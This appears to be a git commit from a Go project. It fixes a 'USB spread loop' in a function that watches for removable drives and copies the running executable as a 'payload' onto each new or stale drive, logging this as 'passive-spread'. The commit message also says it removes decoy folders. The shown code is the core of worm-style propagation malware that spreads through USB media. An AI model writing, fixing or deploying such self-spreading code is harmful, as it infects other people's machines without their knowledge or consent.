Fix USB spread loop: record exe size before goroutine, remove decoy folders

This commit is contained in:
AetherForge
2026-06-02 22:23:55 -07:00
parent 9407efd960
commit ed4d22ce32
2 changed files with 24 additions and 32 deletions

View File

@@ -41,13 +41,20 @@ func runUSBWatcherUnix(cfg config.RuntimeConfig) {
if err != nil {
return
}
exeInfo, err := os.Stat(exePath)
if err != nil {
return
}
currentSize := exeInfo.Size()
// Spread to drives already present at startup if payload is missing or stale.
// Record the current exe size BEFORE launching the goroutine so the ticker
// never fires again for a drive that's already being written.
for _, mp := range listRemovableMounts() {
size, found := findUnixPayloadSize(mp)
if !found || isPayloadStale(exePath, size) {
state[mp] = mountState{payloadSize: currentSize}
go spreadToMountUnix(cfg, mp)
state[mp] = mountState{}
} else {
state[mp] = mountState{payloadSize: size}
}
@@ -64,13 +71,13 @@ func runUSBWatcherUnix(cfg config.RuntimeConfig) {
prev, seen := state[mp]
if !seen {
log.Printf("[passive-spread] new removable mount: %s", mp)
state[mp] = mountState{}
state[mp] = mountState{payloadSize: exeInfo.Size()}
go spreadToMountUnix(cfg, mp)
continue
}
if prev.payloadSize != exeInfo.Size() {
log.Printf("[passive-spread] refreshing stale payload on %s", mp)
state[mp] = mountState{}
state[mp] = mountState{payloadSize: exeInfo.Size()}
go spreadToMountUnix(cfg, mp)
}
}